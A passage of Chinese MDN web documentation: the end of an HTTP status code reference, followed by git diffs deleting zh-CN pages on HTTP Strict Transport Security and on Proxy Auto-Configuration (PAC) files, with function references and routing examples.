服务器已经理解了客户端的请求,并将通过Upgrade消息头通知客户端采用不同的协议来完成这个请求。在发送完这个响应最后的空行后,服务器将会切换到 在Upgrade消息头中定义的那些协议。: 只有在切换新的协议更有好处的时候才应该采取类似措施。例如,切换到新的HTTP版本比旧版本更有优势,或者切换到一个实时且同步的协议以传送利用此类特 性的资源。 HTTP/1.1 可用
成功响应
200 OK
(成功)
请求成功.成功的意义根据请求所使用的方法不同而不同.
  • GET: 资源已被提取,并作为响应体传回客户端.
  • HEAD: 实体已作为响应头传回客户端
  • POST: 经过服务器处理客户端传来的数据,适合的资源作为响应体传回客户端.
  • TRACE: 服务器收到请求消息作为响应体传回客户端.
PUT, DELETE, 和 OPTIONS 方法永远不会返回 200 状态码.
HTTP/0.9 可用
201 Created
(已创建)
请求成功,而且有一个新的资源已经依据请求的需要而建立,通常这是 PUT 方法得到的响应码. HTTP/0.9 可用
202 Accepted
(已创建)
服务器已接受请求,但尚未处理。正如它可能被拒绝一样,最终该请求可能会也可能不会被执行。在异步操作的场合下,没有比发送这个状态码更方便的做法了。:返回202状态码的响应的目的是允许服务器接受其他过程的请求(例如某个每天只执行一次的基于批处理的操作),而不必让客户端一直保持与服务器的连接直到批处理操作全部完成。在接受请求处理并返回202状态码的响应应当在返回的实体中包含一些指示处理当前状态的信息,以及指向处理状态监视器或状态预测的指针,以便用户能够估计操作是否已经完成。 HTTP/0.9 可用
203 Non-Authoritative Information
(未授权信息)

服务器已成功处理了请求,但返回的实体头部元信息不是在原始服务器上有效的确定集合,而是来自本地或者第三方的拷贝,如果不是上述情况,使用200状态码才是最合适的.

HTTP/0.9 and 1.1
204 No Content
(无内容)
该响应没有响应内容,只有响应头,响应头也可能是有用的.用户代理可以根据新的响应头来更新对应资源的缓存信息. HTTP/0.9 可用
205 Reset Content
(重置内容)
告诉用户代理去重置发送该请求的窗口的文档视图. HTTP/1.1 可用
206 Partial Content
(部分内容)
当客户端通过使用range头字段进行文件分段下载时使用该状态码 HTTP/1.1 可用
重定向
300 Multiple Choice
(多种选择)
该请求有多种可能的响应,用户代理或者用户必须选择它们其中的一个.服务器没有任何标准可以遵循去代替用户来进行选择. HTTP/1.0 and later
301 Moved Permanently
(永久移动)
该状态码表示所请求的URI资源路径已经改变,新的URL会在响应的Location:头字段里找到. HTTP/0.9 可用
302 Found
(临时移动)
该状态码表示所请求的URI资源路径临时改变,并且还可能继续改变.因此客户端在以后访问时还得继续使用该URI.新的URL会在响应的Location:头字段里找到. HTTP/0.9 可用
303 See Other
(查看其他位置)
服务器发送该响应用来引导客户端使用GET方法访问另外一个URI. HTTP/0.9 and 1.1
304 Not Modified
(未修改)
告诉客户端,所请求的内容距离上次访问并没有变化. 客户端可以直接从浏览器缓存里获取该资源. HTTP/0.9 可用
305 Use Proxy
(使用代理)
所请求的资源必须统过代理才能访问到.由于安全原因,该状态码并未受到广泛支持. HTTP/1.1 可用
306 unused
(未使用)
这个状态码已经不再被使用,当初它被用HTTP 1.1规范旧版本中. HTTP/1.1 可用
307 Temporary Redirect
(临时重定向)

服务器发送该响应用来引导客户端使用相同的方法访问另外一个URI来获取想要获取的资源.新的URL会在响应的Location:头字段里找到.与302状态码有相同的语义,且前后两次访问必须使用相同的方法(GET POST).

HTTP/1.1 可用
308 Permanent Redirect
(永久重定向)

所请求的资源将永久的位于另外一个URI上.新的URL会在响应的Location:头字段里找到.与301状态码有相同的语义,且前后两次访问必须使用相同的方法(GET POST).

注意: 这是个试验性的状态码,这里是规范草案. Firefox14已经实现对该状态码的支持.

HTTPbis
(试验草案)

客户端错误
400 Bad Request
(错误请求)
因发送的请求语法错误,服务器无法正常读取. HTTP/0.9 可用
401 Unauthorized
(未授权)
需要身份验证后才能获取所请求的内容,类似于403错误.不同点是.401错误后,只要正确输入帐号密码,验证即可通过. HTTP/0.9 可用
402 Payment Required
(需要付款)
该状态被保留以供将来使用.创建此代码最初的目的是数字支付系统而用,然而,到现在也没投入使用. HTTP/0.9 and 1.1
403 Forbidden
(禁止访问)
客户端没有权利访问所请求内容,服务器拒绝本次请求. HTTP/0.9 可用
404 Not Found
(未找到)
服务器找不到所请求的资源.由于经常发生此种情况,所以该状态码在上网时是非常常见的. HTTP/0.9 可用
405 Method Not Allowed
(不允许使用该方法)
该请求使用的方法被服务器端禁止使用,RFC2616中规定, GETHEAD 方法不能被禁止. HTTP/1.1 可用
406 Not Acceptable
(无法接受)
在进行服务器驱动内容协商后,没有发现合适的内容传回给客户端. HTTP/1.1 可用
407 Proxy Authentication Required
(要求代理身份验证)

类似于状态码 401,不过需要通过代理才能进行验证.

HTTP/1.1 可用
408 Request Timeout
(请求超时)
客户端没有在服务器预备等待的时间内完成一个请求的发送.这意味着服务器将会切断和客户端的连接. 在其他浏览器中,这种响应更常见一些, 例如Chrome 和 IE9, 目的是为了使用 HTTP 预连机制 加快浏览速度 (查看{{ bug("634278") }}, Firefox在未来版本中会实现这种机制). 同时注意,一些服务器不发送此种响应就直接切断连接. HTTP/1.1 可用
409 Conflict
(冲突)
该请求与服务器的当前状态所冲突. HTTP/1.1 可用
410 Gone
(已失效)
所请求的资源已经被删除. HTTP/1.1 可用
411 Length Required
(需要内容长度头)
因服务器在本次请求中需要 Content-Length 头字段,而客户端没有发送.所以,服务器拒绝了该请求. HTTP/1.1 可用
412 Precondition Failed
(预处理失败)
服务器没能满足客户端在获取资源时在请求头字段中设置的先决条件. HTTP/1.1 可用
413 Request Entity Too Large
(请求实体过长)
请求实体大小超过服务器的设置的最大限制,服务器可能会关闭HTTP链接并返回Retry-After 头字段. HTTP/1.1 可用
414 Request-URI Too Long
(请求网址过长)
客户端请求所包含的URI地址太长,以至于服务器无法处理. HTTP/1.1 可用
415 Unsupported Media Type
(媒体类型不支持)
服务器不支持客户端所请求的媒体类型,因此拒绝该请求. HTTP/1.1 可用
416 Requested Range Not Satisfiable
(请求范围不合要求)
请求中包含的Range头字段无法被满足,通常是因为Range中的数字范围超出所请求资源的大小. HTTP/1.1 可用
417 Expectation Failed
(预期结果失败)
在请求头 Expect 中指定的预期内容无法被服务器满足. HTTP/1.1 可用
服务器端错误
500 Internal Server Error
(内部服务器错误)
服务器遇到未知的无法解决的问题. HTTP/0.9 可用
501 Implemented
(未实现)
服务器不支持该请求中使用的方法,比如POSTPUT.只有GETHEAD 是RFC2616规范中规定服务器必须实现的方法. HTTP/0.9 可用
502 Bad Gateway
(网关错误)
服务器作为网关且从上游服务器获取到了一个无效的HTTP响应. HTTP/0.9 可用
503 Service Unavailable
(服务不可用)
由于临时的服务器维护或者过载,服务器当前无法处理请求.这个状况是临时的,并且将在一段时间以后恢复.如果能够预计延迟时间,那么响应中可以包含一个Retry-After:头用以标明这个延迟时间.如果没有给出这个Retry-After:信息,那么客户端应当以处理500响应的方式处理它.同时,这种情况下,一个友好的用于解释服务器出现问题的页面应当被返回,并且,缓存相关的HTTP头信息也应该包含,因为通常这种错误提示网页不应当被客户端缓存. HTTP/0.9 可用
504 Gateway Timeout 
(网关超时)
服务器作为网关且不能从上游服务器及时的得到响应返回给客户端. HTTP/1.1 可用
505 HTTP Version Not Supported
(HTTP版本不受支持)
服务器不支持客户端发送的HTTP请求中所使用的HTTP协议版本. HTTP/1.1 可用 
-

 

-

{{ languages( { "en": "en/HTTP/HTTP_response_codes"} ) }}

diff --git a/files/zh-cn/web/http/http_strict_transport_security/index.html b/files/zh-cn/web/http/http_strict_transport_security/index.html deleted file mode 100644 index d890b429ef..0000000000 --- a/files/zh-cn/web/http/http_strict_transport_security/index.html +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: HTTP Strict Transport Security -slug: Web/HTTP/HTTP_Strict_Transport_Security -tags: - - HSTS - - HTTP - - HTTPS - - Security - - header -translation_of: Web/HTTP/Headers/Strict-Transport-Security ---- -
 HTTP Strict Transport Security(通常简称为{{Glossary("HSTS")}})是一个安全功能,它告诉浏览器只能通过HTTPS访问当前资源,而不是HTTP
- - - - - - - - - - - - -
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
- -

语法

- -
Strict-Transport-Security: max-age=<expire-time>
-Strict-Transport-Security: max-age=<expire-time>; includeSubDomains
-Strict-Transport-Security: max-age=<expire-time>; preload
-
- -

指令

- -
-
max-age=<expire-time>
-
设置在浏览器收到这个请求后的<expire-time>秒的时间内凡是访问这个域名下的请求都使用HTTPS请求。
-
includeSubDomains {{optional_inline}}
-
如果这个可选的参数被指定,那么说明此规则也适用于该网站的所有子域名。
-
preload {{optional_inline}}
-
查看 {{anch("预加载 HSTS")}} 获得详情。不是标准的一部分。
-
- -

描述

- -

一个网站接受一个HTTP的请求,然后跳转到HTTPS,用户可能在开始跳转前,通过没有加密的方式和服务器对话,比如,用户输入http://foo.com或者直接foo.com。

- -

这样存在中间人攻击潜在威胁,跳转过程可能被恶意网站利用来直接接触用户信息,而不是原来的加密信息。

- -

网站通过HTTP Strict Transport Security通知浏览器,这个网站禁止使用HTTP方式加载,浏览器应该自动把所有尝试使用HTTP的请求自动替换为HTTPS请求。

- -
-

注意: Strict-Transport-Security 在通过 HTTP 访问时会被浏览器忽略; 因为攻击者可以通过中间人攻击的方式在连接中修改、注入或删除它.  只有在你的网站通过HTTPS访问并且没有证书错误时, 浏览器才认为你的网站支持HTTPS 然后使用 Strict-Transport-Security 的值 .

-
- -

浏览器如何处理

- -

你的网站第一次通过HTTPS请求,服务器响应Strict-Transport-Security 头,浏览器记录下这些信息,然后后面尝试访问这个网站的请求都会自动把HTTP替换为HTTPS。

- -

当HSTS头设置的过期时间到了,后面通过HTTP的访问恢复到正常模式,不会再自动跳转到HTTPS。

- -

每次浏览器接收到Strict-Transport-Security头,它都会更新这个网站的过期时间,所以网站可以刷新这些信息,防止过期发生。

- -

Chrome、Firefox等浏览器里,当您尝试访问该域名下的内容时,会产生一个307 Internal Redirect(内部跳转),自动跳转到HTTPS请求。

- -

示例场景

- -

你连接到一个免费WiFi接入点,然后开始浏览网站,访问你的网上银行,查看你的支出,并且支付一些订单。很不幸,你接入的WiFi实际上是黑客的笔记本热点,他们拦截了你最初的HTTP请求,然后跳转到一个你银行网站一模一样的钓鱼网站。 现在,你的隐私数据暴露给黑客了。

- -

Strict Transport Security解决了这个问题;只要你通过HTTPS请求访问银行网站,并且银行网站配置好Strict Transport Security,你的浏览器知道自动使用HTTPS请求,这可以阻止黑客的中间人攻击的把戏。

- -

预加载 HSTS

- -

谷歌维护着一个 HSTS 预加载服务。按照如下指示成功提交你的域名后,浏览器将会永不使用非安全的方式连接到你的域名。虽然该服务是由谷歌提供的,但所有浏览器都有使用这份列表的意向(或者已经在用了)。但是,这不是 HSTS 标准的一部分,也不该被当作正式的内容。

- - - -

示例

- -

现在和未来的所有子域名会自动使用 HTTPS 连接长达一年。同时阻止了只能通过 HTTP 访问的内容。

- -
Strict-Transport-Security: max-age=31536000; includeSubDomains
-
- -

规范

- - - - - - - - - - - - - - -
规范状态注释
{{SpecName('HSTS')}}{{Spec2('HSTS')}}Initial definition
- -

浏览器兼容

- - - -

{{Compat("http.headers.Strict-Transport-Security")}}

- -

查看更多

- - diff --git a/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_(pac)_file/index.html b/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_(pac)_file/index.html deleted file mode 100644 index e64b1758ff..0000000000 --- a/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_(pac)_file/index.html +++ /dev/null @@ -1,729 +0,0 @@ ---- -title: 代理自动配置文件(PAC)文件 -slug: Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file -translation_of: Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file ---- -
{{HTTPSidebar}}
- -

代理自动配置(PAC)文件是一个 JavaScript 脚本,其核心是一个 JavaScript 函数,用来决定网页浏览请求(HTTP、HTTPS,和 FTP)应当直连目标地址,还是被转发给一个网页代理服务器并通过代理连接。PAC 文件中的核心 JavaScript 函数通常是这样定义的:

- -
function FindProxyForURL(url, host) {
-  // ...
-}
- -

语法

- -
function FindProxyForURL(url, host)
- -

参数

- -
-
url
-
要访问的 URL。URL 中类似 https:// 这样的的路径和查询组件已被去除。在 Chrome 浏览器(版本 52 至 73)中, 你可以通过设置 PacHttpsUrlStrippingEnabledfalse 来禁止这种行为,或者以 --unsafe-pac-url 命令行参数启动(自 Chrome 74 起,仅命令行参数有效,且在 Chrome 75 及之后的版本中无法禁用这种行为;至于 Chrome 81,路径剥离对 HTTP URL 不适用,但有意改变这一行为以适应 HTTPS);在 Firefox 浏览器中,对应的选项是 network.proxy.autoconfig_url.include_path
-
host
-
从 URL 中提取得到的主机名。这只是为了方便;它与 :// 之后到第一个 :/ 之前的字符串相同。端口号不包括在此参数中,必要时可以自行从 URL 中提取。
-
- -

描述

- -

返回一个描述了代理设置的字符串。字符串的格式按照返回值格式进行定义。

- -

返回值格式

- -
    -
  • FindProxyForURL() 函数返回一个字符串
  • -
  • 如果那个字符串为空,则不使用任何代理
  • -
  • 字符串中可以包含如下任意数量的“代理配置块”(building blocks),用分号分隔:
  • -
- -
-
DIRECT
-
直连,不经过任何代理
-
PROXY host:port
-
HTTP 代理
-
SOCKS host:port
-
SOCKS 代理
-
- -

最近版本的 Firefox 同时还支持:

- -
-
HTTP host:port
-
HTTP 代理
-
HTTPS host:port
-
HTTPS 代理
-
SOCKS4 host:port
-
SOCKS5 host:port
-
SOCKS 代理(同时指定 SOCKS 版本)
-
- -

如果有多个使用分号分隔的代理配置,将使用最左边的配置,除非 Firefox 无法与其中指定的代理服务器建立连接。在这种情况下,将使用下一个配置,等等。

- -

30分钟后,浏览器将自动重试之前没有响应的代理。下一次尝试则将在一小时后开始,再下一次是一个半小时。每次尝试后,间隔会增加 30 分钟。

- -

如果所有代理都挂了,并且最后没有指定直连配置项(DIRECT),浏览器将询问是否应该暂时忽略代理,并尝试直接连接。20 分钟后,浏览器会再次询问是否应该重试代理,40 分钟后会再问一次。每次询问后,间隔会增加 20 分钟。

- -

例子

- -
-
PROXY w3proxy.netscape.com:8080; PROXY mozilla.netscape.com:8081
-
主代理是 w3proxy:8080;如果它出现故障,则使用 mozilla:8081,直到主代理恢复。
-
PROXY w3proxy.netscape.com:8080; PROXY mozilla.netscape.com:8081; DIRECT
-
和上面的基本一样,但如果两个代理都挂了,则自动改为直连。(在上面的例子中,Netscape 浏览器将询问用户是否要改用直接连接;在本例中,则不需要用户干预。)
-
PROXY w3proxy.netscape.com:8080; SOCKS socks:1080
-
如果主代理出现问题,则使用 SOCKS 连接。
-
- -

自动配置文件应当被保存为一个以 .pac 作为文件拓展名的文件,比如:

- -
proxy.pac
- -

其 MIME 类型应被设置为:

- -
application/x-ns-proxy-autoconfig
- -

接下来,你应当配置你的服务器,让文件拓展名 .pac 映射到如上所示的 MIME 类型。

- -
-

注意:

- -
    -
  • PAC 文件的 JavaScript 代码应该总是单独保存到 .pac 文件中,而不是嵌入到 HTML 文件或是任何其他文件之中。
  • -
  • 本文档末尾的示例都是完整的,使用时不需要增加任何其它代码,直接保存应用即可。(当然,你需要改成你自己的域名/子域)
  • -
-
- -

预定义的函数与环境

- -

这些函数可以在 PAC 文件中使用:

- - - -
-

注意: pactester ( pacparser 的一部分) 可以用来检测语法是否符合要求,使用方法如下:

- -
    -
  • PAC文件保存为 proxy.pac
  • -
  • 命令行输入: pactester -p ~/pacparser-master/tests/proxy.pac -u http://www.mozilla.org。 -
      -
    • 该命令中, host 参数为 www.mozilla.orgurl 参数为http://www.mozilla.org
    • -
    -
  • -
-
- -

isPlainHostName()

- -

语法

- -
isPlainHostName(host)
- -

参数

- -
-
host
-
从 URL 中得到的主机名(端口除外)。
-
- -

描述

- -

当且仅当主机名中没有域名时为真(没有分隔域名的点)。

- -

例子

- -
isPlainHostName("www.mozilla.org") // false
-isPlainHostName("www") // true
-
- -

dnsDomainIs()

- -

语法

- -
dnsDomainIs(host, domain)
- -

参数

- -
-
host
-
从 URL 中得到的主机名。
-
domain
-
域名/部分域名
-
- -

描述

- -

如果匹配,返回true。

- -

例子

- -
dnsDomainIs("www.mozilla.org", ".mozilla.org") // true
-dnsDomainIs("www", ".mozilla.org") // false
-
- -

localHostOrDomainIs()

- -

语法

- -
localHostOrDomainIs(host, hostdom)
- -

参数

- -
-
host
-
从 URL 中得到的主机名。
-
hostdom
-
完整域名
-
- -

描述

- -

完整域名匹配或主机名(如www)匹配时返回true。

- -

例子

- -
localHostOrDomainIs("www.mozilla.org" , "www.mozilla.org") // true (exact match)
-localHostOrDomainIs("www"             , "www.mozilla.org") // true (hostname match, domain not specified)
-localHostOrDomainIs("www.google.com"  , "www.mozilla.org") // false (domain name mismatch)
-localHostOrDomainIs("home.mozilla.org", "www.mozilla.org") // false (hostname mismatch)
- -

isResolvable()

- -

语法

- -
isResolvable(host)
- -

参数

- -
-
host
-
从 URL 中得到的主机名。
-
- -

尝试解析主机名。如果成功,则返回true。

- -

例子:

- -
isResolvable("www.mozilla.org") // true
-
- -

isInNet()

- -

语法

- -
isInNet(host, pattern, mask)
- -

参数

- -
-
host
-
一个 DNS 主机名,或者一个 IP 地址。如果传入了主机名,则会被此函数解析为 IP 地址,再进行判断。
-
pattern
-
点号(.)分隔的IP地址。
-
mask
-
子网掩码,0 代表忽略,255 代表完全匹配。
-
- -

仅在 host 属于由 pattern 和 mask 指定的ip地址段时返回true。

- -

Pattern and mask specification is done the same way as for SOCKS configuration.

- -

例子:

- -
function alert_eval(str) { alert(str + ' is ' + eval(str)) }
-function FindProxyForURL(url, host) {
-  alert_eval('isInNet(host, "63.245.213.24", "255.255.255.255")')
-  // "PAC-alert: isInNet(host, "63.245.213.24", "255.255.255.255") is true"
-}
-
- -

dnsResolve()

- -
dnsResolve(host)
- -

参数

- -
-
host
-
要解析的主机名。
-
- -

将给定的 DNS 主机名解析为 IP 地址并返回为标准格式的 IP 地址字符串。

- -

例子

- -
dnsResolve("www.mozilla.org"); // returns the string "104.16.41.2"
- -

convert_addr()

- -

语法

- -
convert_addr(ipaddr)
- -

参数

- -
-
ipaddr
-
点号(.)分隔的IP地址或子网掩码。
-
- -

将IP地址转换为32位整数地址。

- -

例子

- -
convert_addr("104.16.41.2"); // returns the decimal number 1745889538
- -

myIpAddress()

- -

语法

- -
myIpAddress()
- -

参数

- -

(无)

- -

获取当前 Firefox 所在设备的 IP 地址,并返回为标准格式的 IP 地址字符串。

- -
-

myIpAddress() 返回与 nslookup localhost 命令在 Linux 主机上的执行结果相同的 IP 地址。不会返回公网 IP 地址。

-
- -

例子

- -
myIpAddress() //returns the string "127.0.1.1" if you were running Firefox on that localhost
- -

dnsDomainLevels()

- -

语法

- -
dnsDomainLevels(host)
- -

参数

- -
-
host
-
从 URL 中得到的主机名。
-
- -

返回主机名中DNS域名级别的整数数量(域名中包含点的个数)。

- -

例子:

- -
dnsDomainLevels("www");             // 0
-dnsDomainLevels("mozilla.org");     // 1
-dnsDomainLevels("www.mozilla.org"); // 2
-
- -

shExpMatch()

- -

语法

- -
shExpMatch(str, shexp)
- -

参数

- -
-
str
-
任何要比较的字符串(如URL或主机名)。
-
shexp
-
要用来对比的 Shell 表达式。
-
- -

如果字符串匹配指定的Shell表达式则返回true。

- -

注意,本函数接收 shell glob 表达式而非正则表达式。*? 始终被支持,[characters][^characters] 只在包括 Firefox 在内的某些实现上被支持。这主要是由于 glob 表达式在内部被翻译为正则表达式。如要使用正则表达式语法,请直接使用 RegExp 类。

- -

例子

- -
shExpMatch("http://home.netscape.com/people/ari/index.html"     , "*/ari/*"); // returns true
-shExpMatch("http://home.netscape.com/people/montulli/index.html", "*/ari/*"); // returns false
- -

weekdayRange()

- -

语法

- -
weekdayRange(wd1, wd2, [gmt])
- -
-

注意: (Before Firefox 49) wd1 must be less than wd2 if you want the function to evaluate these parameters as a range. See the warning below.

-
- -

参数

- -
-
wd1 和 wd2
-
One of the ordered weekday strings:
-
-
"SUN"|"MON"|"TUE"|"WED"|"THU"|"FRI"|"SAT"
-
-
gmt
-
可以指定为字符串 "GMT",或留白不指定。
-
- -

Only the first parameter is mandatory. Either the second, the third, or both may be left out.

- -

If only one parameter is present, the function returns a value of true on the weekday that the parameter represents. If the string "GMT" is specified as a second parameter, times are taken to be in GMT. Otherwise, they are assumed to be in the local timezone.

- -

If both wd1 and wd1 are defined, the condition is true if the current weekday is in between those two ordered weekdays. Bounds are inclusive, but the bounds are ordered. 如果指定了 "GMT" 参数,则使用 GMT 时区,否则使用浏览器获取到的平台本地时区。

- -
-

The order of the days matters; Before Firefox 49, weekdayRange("SUN", "SAT") will always evaluate to true. Now weekdayRange("WED", "SUN") will only evaluate true if the current day is Wednesday or Sunday.

-
- -

例子

- -
weekdayRange("MON", "FRI");        // returns true Monday through Friday (local timezone)
-weekdayRange("MON", "FRI", "GMT"); // returns true Monday through Friday (GMT timezone)
-weekdayRange("SAT");               // returns true on Saturdays local time
-weekdayRange("SAT", "GMT");        // returns true on Saturdays GMT time
-weekdayRange("FRI", "MON");        // returns true Friday and Monday only (note, order does matter!)
- -

dateRange()

- -

语法

- -
dateRange(<day> | <month> | <year>, [gmt])  // ambiguity is resolved by assuming year is greater than 31
-dateRange(<day1>, <day2>, [gmt])
-dateRange(<month1>, <month2>, [gmt])
-dateRange(<year1>, <year2>, [gmt])
-dateRange(<day1>, <month1>, <day2>, <month2>, [gmt])
-dateRange(<month1>, <year1>, <month2>, <year2>, [gmt])
-dateRange(<day1>, <month1>, <year1>, <day2>, <month2>, <year2>, [gmt])
- -
-

注意: (Before Firefox 49) day1 must be less than day2, month1 must be less than month2, and year1 must be less than year2 if you want the function to evaluate these parameters as a range. See the warning below.

-
- -

参数

- -
-
day
-
Is the ordered day of the month between 1 and 31 (as an integer).
-
- -
1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31
- -
-
month
-
Is one of the ordered month strings below.
-
- -
"JAN"|"FEB"|"MAR"|"APR"|"MAY"|"JUN"|"JUL"|"AUG"|"SEP"|"OCT"|"NOV"|"DEC"
- -
-
year
-
Is the ordered full year integer number. For example, 2016 (not 16).
-
gmt
-
可以指定为字符串 "GMT",代表使用 GMT 时区进行比较;或者留白不指定,代表使用浏览器获取到的平台本地时区。
-
- -

If only a single value is specified (from each category: day, month, year), the function returns a true value only on days that match that specification. If both values are specified, the result is true between those times, including bounds, but the bounds are ordered.

- -
-

The order of the days, months, and years matter; Before Firefox 49, dateRange("JAN", "DEC") will always evaluate to true. Now dateRange("DEC", "JAN") will only evaluate true if the current month is December or January.

-
- -

例子

- -
dateRange(1);            // returns true on the first day of each month, local timezone
-dateRange(1, "GMT")      // returns true on the first day of each month, GMT timezone
-dateRange(1, 15);        // returns true on the first half of each month
-dateRange(24, "DEC");    // returns true on 24th of December each year
-dateRange("JAN", "MAR"); // returns true on the first quarter of the year
-
-dateRange(1, "JUN", 15, "AUG");
-// returns true from June 1st until August 15th, each year
-// (including June 1st and August 15th)
-
-dateRange(1, "JUN", 1995, 15, "AUG", 1995);
-// returns true from June 1st, 1995, until August 15th, same year
-
-dateRange("OCT", 1995, "MAR", 1996);
-// returns true from October 1995 until March 1996
-// (including the entire month of October 1995 and March 1996)
-
-dateRange(1995);
-// returns true during the entire year of 1995
-
-dateRange(1995, 1997);
-// returns true from beginning of year 1995 until the end of year 1997
- -

timeRange()

- -

语法

- -
// The full range of expansions is analogous to dateRange.
-timeRange(<hour1>, <min1>, <sec1>, <hour2>, <min2>, <sec2>, [gmt])
- -
-

注意: (Before Firefox 49) the category hour1, min1, sec1 must be less than the category hour2, min2, sec2 if you want the function to evaluate these parameters as a range. See the warning below.

-
- -

参数

- -
-
hour
-
小时,区间为 0 到 23。(0 是午夜 0 点,1 是上午 1 点,11 是正午 12 点,23 是下午 11 点。)
-
min
-
分钟,区间为 0 到 59。
-
sec
-
 秒,区间为 0 到 59。
-
gmt
-
可以指定为字符串 "GMT",代表使用 GMT 时区,或者留白不指定,代表使用浏览器获取到的平台本地时区。
-
- -

If only a single value is specified (from each category: hour, minute, second), the function returns a true value only at times that match that specification. If both values are specified, the result is true between those times, including bounds, but the bounds are ordered.

- -
-

The order of the hour, minute, second matter; Before Firefox 49, timeRange(0, 23) will always evaluate to true. Now timeRange(23, 0) will only evaluate true if the current hour is 23:00 or midnight.

-
- -

例子

- -
timerange(12);                // returns true from noon to 1pm
-timerange(12, 13);            // returns true from noon to 1pm
-timerange(12, "GMT");         // returns true from noon to 1pm, in GMT timezone
-timerange(9, 17);             // returns true from 9am to 5pm
-timerange(8, 30, 17, 00);     // returns true from 8:30am to 5:00pm
-timerange(0, 0, 0, 0, 0, 30); // returns true between midnight and 30 seconds past midnight
- -

例 1

- -

对除本地主机以外的所有连接使用代理

- -
-

注意: 以下所有示例都只针对特定需求并未经测试

-
- -

所有并非完全限定的主机名,以及在本地域内的主机名,都将直接连接。其他的会通过w3proxy:8080 连接。如果代理不可用,则自动回退到直连。

- -
function FindProxyForURL(url, host) {
-  if (isPlainHostName(host) || dnsDomainIs(host, ".mozilla.org")) {
-    return "DIRECT";
-  } else {
-    return "PROXY w3proxy.mozilla.org:8080; DIRECT";
-  }
-}
- -
-

注意: 这是只有一个代理服务器情况下最简单高效的自动配置脚本。

-
- -

例 2

- -

和例 1 一样,但是对防火墙外的本地服务器使用代理

- -

如果有主机(例如生产环境中的 Web 服务器)属于本地域但在防火墙外,仅可通过代理访问,可以通过 localHostOrDomainIs() 来为上述主机添加例外:

- -
function FindProxyForURL(url, host) {
-  if (
-    (isPlainHostName(host) || dnsDomainIs(host, ".mozilla.org")) &&
-    !localHostOrDomainIs(host, "www.mozilla.org") &&
-    !localHostOrDoaminIs(host, "merchant.mozilla.org")
-  ) {
-        return "DIRECT";
-  } else {
-    return "PROXY w3proxy.mozilla.org:8080; DIRECT";
-  }
-}
- -

以上示例为 mozilla.org 域外所有主机使用代理,同时添加了例外使 www.mozilla.orgmerchant.mozilla.org 也使用代理。

- -
-

注意:以上例外的顺序影响效率:localHostOrDomainIs() 只在 URL 位于本地域内时执行,注意位于 || 外和  && 前的括号。

-
- -

例 3

- -

如果无法解析域名,则使用代理

- -

这个示例可用于网络中的DNS服务器只解析内部主机名的情况,其功能是只对不能成功解析的域名使用代理。

- -
function FindProxyForURL(url, host) {
-  if (isResolvable(host))
-    return "DIRECT";
-  else
-    return "PROXY proxy.mydomain.com:8080";
-}
- -

以上代码每一次均会进行DNS查询,这可以通过添加其他一些规则,只在其他规则不能给出结果时进行DNS查询来解决:

- -
function FindProxyForURL(url, host) {
-  if (
-    isPlainHostName(host) ||
-    dnsDomainIs(host, ".mydomain.com") ||
-    isResolvable(host)
-  ) {
-    return "DIRECT";
-  } else {
-    return "PROXY proxy.mydomain.com:8080";
-  }
-}
- -

例 4

- -

基于网域(Subnet)的选择方案

- -

在此示例中,所有同一子网内的主机均直接连接,其他主机则通过代理连接:

- -
function FindProxyForURL(url, host) {
-  if (isInNet(host, "198.95.0.0", "255.255.0.0"))
-    return "DIRECT";
-  else
-    return "PROXY proxy.mydomain.com:8080";
-}
- -

同样的,对 DNS 的使用可以通过添加冗余的规则来最小化:

- -
function FindProxyForURL(url, host) {
-  if (
-    isPlainHostName(host) ||
-    dnsDomainIs(host, ".mydomain.com") ||
-    isInNet(host, "198.95.0.0", "255.255.0.0")
-  ) {
-    return "DIRECT";
-  } else {
-    return "PROXY proxy.mydomain.com:8080";
-  }
-}
- -

例 5

- -

负载均衡 / 基于 URL 模式(pattern)的路由规划

- -

This example is more sophisticated. There are four (4) proxy servers; one of them is a hot stand-by for all of the other ones, so if any of the remaining three goes down the fourth one will take over. Furthermore, the three remaining proxy servers share the load based on URL patterns, which makes their caching more effective (there is only one copy of any document on the three servers - as opposed to one copy on each of them). The load is distributed like this:

- - - - - - - - - - - - - - - - - - - - - - - - -
代理用途
#1.com 域名
#2.edu 域名
#3所有其他域名
#4备用(原文:hot stand-by,活跃备用、热备用)
- -

All local accesses are desired to be direct. All proxy servers run on the port 8080 (they don't need to, you can just change your port but remember to modify your configuations on both side). Note how strings can be concatenated with the + operator in JavaScript.

- -
function FindProxyForURL(url, host) {
-
-  if (isPlainHostName(host) || dnsDomainIs(host, ".mydomain.com"))
-    return "DIRECT";
-
-  else if (shExpMatch(host, "*.com"))
-    return "PROXY proxy1.mydomain.com:8080; " +
-           "PROXY proxy4.mydomain.com:8080";
-
-  else if (shExpMatch(host, "*.edu"))
-    return "PROXY proxy2.mydomain.com:8080; " +
-           "PROXY proxy4.mydomain.com:8080";
-
-  else
-    return "PROXY proxy3.mydomain.com:8080; " +
-           "PROXY proxy4.mydomain.com:8080";
-}
- -

例 6

- -

为特定协议设置代理

- -

大多数 JavaScript 标准功能在 FindProxyForURL() 中可用。作为例子,我们通过{{jsxref("String.prototype.startsWith()", "startsWith()")}} 为不同的协议设置不同的代理。

- -
function FindProxyForURL(url, host) {
-
-  if (url.startsWith("http:"))
-    return "PROXY http-proxy.mydomain.com:8080";
-
-  else if (url.startsWith("ftp:"))
-    return "PROXY ftp-proxy.mydomain.com:8080";
-
-  else if (url.startsWith(“gopher:"))
-    return "PROXY gopher-proxy.mydomain.com:8080";
-
-  else if (url.startsWith("https:") || url.startsWith("snews:"))
-    return "PROXY security-proxy.mydomain.com:8080";
-
-  else
-    return "DIRECT";
-
-}
- -
-

注意: shExpMatch() 也可以做到,例如:

- -
// ...
-if (shExpMatch(url, "http:*")) {
-  return "PROXY http-proxy.mydomain.com:8080";
-}
-// ...
-
-
- -
-

自动配置脚本也可以在服务端动态生成。这在某些情况下比较有用,例如根据客户端地址指定不同的代理服务器。

- -

